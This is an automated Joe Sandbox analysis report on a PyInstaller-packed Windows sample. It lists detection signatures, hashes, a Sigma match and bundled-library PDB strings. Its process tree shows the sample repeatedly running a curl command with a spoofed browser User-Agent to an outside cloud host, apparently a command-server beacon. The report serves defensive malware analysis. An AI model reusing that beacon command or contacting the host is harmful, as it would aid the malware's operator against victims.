Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:file.exe
Analysis ID:1563867
MD5:93517c6eb21cd65e329b0acd9f6db5af
SHA1:56866045c907c47dc4fcd2844117e1fd0f57ba37
SHA256:08c2b931e06327dd440f89827e6556ac9e7966dc9e01dc2012aba9db90166957
Tags:exex64user-jstrosch
Infos:

Detection

Score:60
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
AI detected suspicious sample
Found pyInstaller with non standard icon
Machine Learning detection for sample
Binary contains a suspicious time stamp
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Extensive use of GetProcAddress (often used to hide API calls)
Found dropped PE file which has not been started or loaded
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
PE file does not import any functions
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Usage Of Web Request Commands And Cmdlets
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • file.exe (PID: 6892 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 93517C6EB21CD65E329B0ACD9F6DB5AF)
    • file.exe (PID: 6952 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 93517C6EB21CD65E329B0ACD9F6DB5AF)
      • cmd.exe (PID: 7084 cmdline: C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 5328 cmdline: curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180" MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 4284 cmdline: C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 2080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 4928 cmdline: curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180" MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 3632 cmdline: C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 3736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 1704 cmdline: curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180" MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 2208 cmdline: C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 2160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 2028 cmdline: curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180" MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 4548 cmdline: C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 4080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 2000 cmdline: curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180" MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 4852 cmdline: C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 6192 cmdline: curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180" MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 5800 cmdline: C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 1364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 5740 cmdline: curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180" MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 6524 cmdline: C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 7068 cmdline: curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180" MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 6580 cmdline: C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 2672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 1340 cmdline: curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180" MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 2120 cmdline: C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 1716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 2252 cmdline: curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180" MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 5080 cmdline: C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 5272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 3636 cmdline: curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180" MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 3752 cmdline: C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 3448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 5216 cmdline: curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180" MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

Sigma detected: Usage Of Web Request Commands And Cmdlets
Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"", CommandLine: C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6952, ParentProcessName: file.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=835180"", ProcessId: 7084, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for submitted file
Source: file.exeReversingLabs: Detection: 34%
AI detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 92.6% probability
Machine Learning detection for sample
Source: file.exeJoe Sandbox ML: detected
Source: file.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: file.exe, 00000000.00000003.1753781951.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-locale-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: file.exe, 00000000.00000003.1754116826.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-file-l1-2-0.pdb source: file.exe, 00000000.00000003.1750041127.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.0.dr
Source: Binary string: ucrtbase.pdb source: file.exe, 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmp, ucrtbase.dll.0.dr
Source: Binary string: api-ms-win-core-memory-l1-1-0.pdb source: file.exe, 00000000.00000003.1750835118.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-memory-l1-1-0.dll.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\_decimal.pdb source: _decimal.pyd.0.dr
Source: Binary string: api-ms-win-core-debug-l1-1-0.pdb source: file.exe, 00000000.00000003.1749617862.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-debug-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: file.exe, 00000000.00000003.1752138241.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: file.exe, 00000000.00000003.1753536442.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-memory-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1750835118.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-memory-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: file.exe, 00000000.00000003.1754233802.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-heap-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1753659236.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-heap-l1-1-0.dll.0.dr
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: file.exe, 00000000.00000003.1748229034.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmp, VCRUNTIME140.dll.0.dr
Source: Binary string: api-ms-win-core-heap-l1-1-0.pdb source: file.exe, 00000000.00000003.1750386943.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-util-l1-1-0.pdb source: file.exe, 00000000.00000003.1752374384.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-heap-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1750386943.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-synch-l1-1-0.pdb source: file.exe, 00000000.00000003.1751802736.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-synch-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: file.exe, 00000000.00000003.1753385800.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-environment-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-math-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1753887474.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-handle-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1750280448.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-processthreads-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1751234279.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: file.exe, 00000000.00000003.1748719469.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, _hashlib.pyd.0.dr
Source: Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: file.exe, 00000000.00000003.1749715082.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\_decimal.pdb$$ source: _decimal.pyd.0.dr
Source: Binary string: api-ms-win-crt-filesystem-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1753536442.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: file.exe, 00000000.00000003.1751234279.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-time-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1754433845.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-time-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-console-l1-1-0.pdb source: file.exe, 00000000.00000003.1749386479.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-fibers-l1-1-0.pdb source: file.exe, 00000000.00000003.1749812781.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-fibers-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-file-l1-1-0.pdb source: file.exe, 00000000.00000003.1749927325.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-timezone-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1752254686.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-timezone-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-processenvironment-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1751102339.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-synch-l1-2-0.pdbGCTL source: file.exe, 00000000.00000003.1752018194.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.0.dr
Source: Binary string: api-ms-win-crt-process-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1753999667.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: file.exe, 00000000.00000003.1753238604.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-convert-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-util-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1752374384.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-datetime-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1749509984.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-datetime-l1-1-0.dll.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: file.exe, 00000000.00000003.1748838656.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, _lzma.pyd.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: file.exe, 00000000.00000003.1748393847.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.0.dr
Source: Binary string: api-ms-win-core-errorhandling-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1749715082.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-profile-l1-1-0.pdb source: file.exe, 00000000.00000003.1751453983.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.0.dr
Source: Binary string: ucrtbase.pdbUGP source: file.exe, 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmp, ucrtbase.dll.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: file.exe, 00000000.00000003.1749266271.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmp, _socket.pyd.0.dr
Source: Binary string: api-ms-win-core-file-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1749927325.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-convert-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1753238604.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-convert-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-stdio-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1754233802.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-environment-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1753385800.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-environment-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-time-l1-1-0.pdb source: file.exe, 00000000.00000003.1754433845.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-time-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-file-l2-1-0.pdbGCTL source: file.exe, 00000000.00000003.1750170866.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l2-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-fibers-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1749812781.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-fibers-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-handle-l1-1-0.pdb source: file.exe, 00000000.00000003.1750280448.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: file.exe, 00000000.00000003.1759035583.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, unicodedata.pyd.0.dr
Source: Binary string: api-ms-win-core-sysinfo-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1752138241.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-synch-l1-2-0.pdb source: file.exe, 00000000.00000003.1752018194.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.0.dr
Source: Binary string: api-ms-win-core-file-l1-2-0.pdbGCTL source: file.exe, 00000000.00000003.1750041127.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.0.dr
Source: Binary string: api-ms-win-core-profile-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1751453983.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: file.exe, 00000000.00000003.1751102339.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.0.dr
Source: Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: libcrypto-1_1.dll.0.dr
Source: Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: file.exe, 00000000.00000003.1749509984.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-datetime-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: file.exe, 00000000.00000003.1752494159.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-conio-l1-1-0.dll.0.dr
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: file.exe, 00000000.00000003.1748229034.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmp, VCRUNTIME140.dll.0.dr
Source: Binary string: api-ms-win-core-localization-l1-2-0.pdb source: file.exe, 00000000.00000003.1750728421.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.0.dr
Source: Binary string: api-ms-win-crt-math-l1-1-0.pdb source: file.exe, 00000000.00000003.1753887474.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-interlocked-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1750492184.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-string-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1751690780.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-string-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-string-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1754336115.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-string-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: file.exe, 00000000.00000003.1751343265.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.0.dr
Source: Binary string: api-ms-win-core-debug-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1749617862.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-debug-l1-1-0.dll.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\python311.pdb source: file.exe, 00000001.00000002.3017300090.00007FFDFB4CC000.00000002.00000001.01000000.00000005.sdmp, python311.dll.0.dr
Source: Binary string: api-ms-win-core-libraryloader-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1750613362.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-locale-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1753781951.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-locale-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-localization-l1-2-0.pdbGCTL source: file.exe, 00000000.00000003.1750728421.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.0.dr
Source: Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: file.exe, 00000000.00000003.1750979635.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.0.dr
